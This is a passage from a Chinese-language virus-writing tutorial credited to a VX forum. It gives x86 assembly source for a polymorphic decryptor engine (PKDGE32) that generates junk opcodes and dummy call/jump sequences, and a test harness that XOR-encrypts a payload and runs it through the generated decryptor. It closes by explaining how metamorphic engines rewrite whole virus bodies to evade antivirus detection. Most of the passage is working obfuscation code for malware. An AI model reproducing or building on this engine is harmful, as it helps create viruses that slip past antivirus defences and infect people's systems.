pkdg_j3_anti: mov eax,ebp
mov edx,10h
call __random
add al,70h
jmp pkdg_j_3f
;
; Generate 2-byte instruction
;
pkdg_j_g2b: call pkdg_j_2
db 89h ; mov eax,reg
db 01h ; add eax,reg
db 11h ; adc eax,reg
db 29h ; sub eax,reg
db 19h ; sbb eax,reg
db 39h ; cmp eax,reg
db 85h ; test eax,reg
db 09h ; or eax,reg
db 21h ; and eax,reg
db 31h ; xor eax,reg
db 0b0h ; mov al,imm8
db 04h ; add al,imm8
db 14h ; adc al,imm8
db 2ch ; sub al,imm8
db 1ch ; sbb al,imm8
db 3ch ; cmp al,imm8
db 0a8h ; test al,imm8
db 0ch ; or al,imm8
db 24h ; and al,imm8
db 34h ; xor al,imm8
pkdg_j_2: pop esi
mov eax,ebp
mov edx,20
call __random
add esi,eax
movsb ; write the opcode
cmp eax,10
jge pkdg_j2_imm8
mov eax,ebp
mov edx,8
call __random
shl eax,3 ; dest. operand
or al,0c0h ; ...
jmp pkdg_j2_f
pkdg_j2_imm8: mov eax,ebp
mov edx,100h
call __random
pkdg_j2_f: stosb
dec ecx ; decrease counter
dec ecx ; ...
jz pkdg_j_rptr
jmp pkdg_j_gclsi
;
; Generate 1-byte instruction
;
pkdg_j_g1b: call pkdg_j_1
db 90h ; nop
db 0f8h ; clc
db 0f9h ; stc
db 40h ; inc eax
db 48h ; dec eax
db 37h ; aaa
db 3fh ; aas
db 98h ; cbw
db 0fch ; cld
db 0f5h ; cmc
db 27h ; daa
db 2fh ; das
db 9fh ; lahf
db 0d6h ; salc
pkdg_j_1: pop esi
mov eax,ebp
mov edx,14
call __random
add esi,eax
movsb ; write the code
dec ecx ; decrease counter
or ecx,ecx
jnz pkdg_j_gclsi
pkdg_j_rptr: mov [esp],edi
pkdg_j_ret: popad
ret
;
; Generate dummy jumpz. the generation formula show in the decription of the
; __pkdge32_junk procedure
;
pkdg_j_dj: mov al,0e8h ; call xxxxxxxx
stosb ; ...
stosd ; addr1, no matter what, fix l8r
push edi
mov eax,ebp ; some more junx
mov edx,6 ; ...
call __random ; ...
mov esi,ebp ; ...
call __pkdge32_junk ; ...
mov al,0ebh ; jmp xx
stosb ; ...
stosb ; addr2, no matter what, fix l8r
push edi
mov eax,ebp ; some more junx
mov edx,6 ; ...
call __random ; ...
mov esi,ebp ; ...
call __pkdge32_junk ; ...
mov al,0c3h ; ret
stosb ; ...
mov eax,[esp+4] ; fix addr1
xchg eax,edi ; ...
sub eax,edi ; ...
sub edi,4 ; ...
stosd ; ...
add edi,eax ; ...
mov eax,ebp ; some more junx
mov edx,6 ; ...
call __random ; ...
mov esi,ebp ; ...
call __pkdge32_junk ; ...
mov al,0ebh ; jmp xx
stosb ; ...
mov eax,[esp] ; ...
sub eax,edi ; ...
dec eax ; ...
stosb ; ...
pop eax ; fix addr2
xchg eax,edi ; ...
sub eax,edi ; ...
dec edi ; ...
stosb ; ...
add edi,eax ; ...
pop eax ; pop a shit
mov eax,ebp ; some more junx
mov edx,6 ; ...
call __random ; ...
mov esi,ebp ; ...
call __pkdge32_junk ; ...
jmp pkdg_j_rptr
程序中有完整的註釋,加之前面的分析,這裏我就不做過多解釋了。整個引擎爲1.353KB。
下面是這個引擎的測試程序:
format PE GUI 4.0
entry __start
include 'useful.inc'
.data
col_code: times crypted_size+200h db 0
rng_seed dd ?
.code
include 'pkrng.inc'
include 'pkdge32.inc'
__start: mov edi,col_code
mov esi,rng_seed
mov ecx,crypted_size
mov ebx,12345678h
mov edx,78h
call __pkdge32
push edi
mov esi,edi
xchg eax,edi
stosd
xchg esi,edi
mov esi,crypt_code
mov ecx,crypted_size
rep movsb
pop esi
mov ecx,crypted_size
mov edi,esi
encrypt: lodsb
xor al,78h
stosb
loop encrypt
jmp col_code
crypt_code: xor eax,eax
push eax
@pushsz 'PKDGE32 Test'
@pushsz 'This code has been decrypted sucessfully!'
push eax
call [MessageBoxA]
ret
crypted_size = $-crypt_code
.idata
@imp_libz usr,'user32.dll'
@imp_apiz usr,MessageBoxA,'MessageBoxA'
9. 變形(Metamorphism)
----------------------
由於meta的複雜性, 而且我的水平有限,所以在這一節我只介紹變形引擎的一些基本知識
而不給出代碼(當然,網上可以找到很多關於meta的代碼,我就不在這裏列出了)。 也許
在這篇教程的後續版本中我會完成一個完整的meta引擎並補充進來。
變形是在多態的基礎上發展起來的。 傳統的poly只是把解密代碼隨機化,而病毒代碼僅僅
是通過一個加密算法加密。 而meta的思想是對整個病毒代碼進行變形。一般的meta引擎主
要有這麼幾個部分:
1) 反彙編器(Disassembler): 把病毒代碼(機器碼)反彙編成引擎可以識別的僞
代碼(pseudo-code。具體的代碼形式根據作者的喜好、習慣而定 :P), 當然也
可以反彙編成真正的彙編語言(不過一般沒有這個必要)。
2) 收縮器(Shrinker):對反彙編後的代碼進行分析,簡化代碼(如把ADD EAX,10H
/ADD EAX,12H合併爲一句MOV EAX,22H),刪除上一代產生的垃圾代碼等。這是整
個引擎中最爲複雜的部分, 也正是因爲有這個部分的存在才使得meta變得異常龐
大。其實在很多meta引擎中都沒有這個部分(由於其複雜性), 使得病毒代碼無
限膨脹,最終變得不可用。
3) 代碼變換器(Permutator):這個部分複雜指令的變換, 如改變指令順序、完成
指令替換、改變寄存器的使用等,這些我們在上一節都已經接觸過了, 但不同的
是這裏我們是要對僞代碼進行處理(其實差不多)。
4) 膨脹器(Expander):這個過程是收縮器的反過程,完成諸如拆分指令、 生成垃
圾代碼等工作。
5) 彙編器(Assembler):這是引擎的最後一個部分,它負責把處理完成的僞代碼重
新彙編成機器可以識別的機器碼。
看過上面的介紹各位讀者是不是想放棄了呢 :P。是的,meta就是這樣複雜,它的複雜性甚
至使很多人認爲沒有應用它的意義(雖然它有效地anti-AV)。但是時代不同了,現在有多
少人還會在乎代碼的體積呢?我想也很少有人會注意自己的一些文件大了幾十KB :D
其實meta也並不是沒有簡單的實現辦法。這裏我介紹一個最爲簡單的實現:Nopz Padding
具體的代碼可以參見Benny的BME32。這個meta引擎簡單易懂,在這裏我就不多說了。請大
家自己分析吧 :)
From:http://www.vxer.net/bbs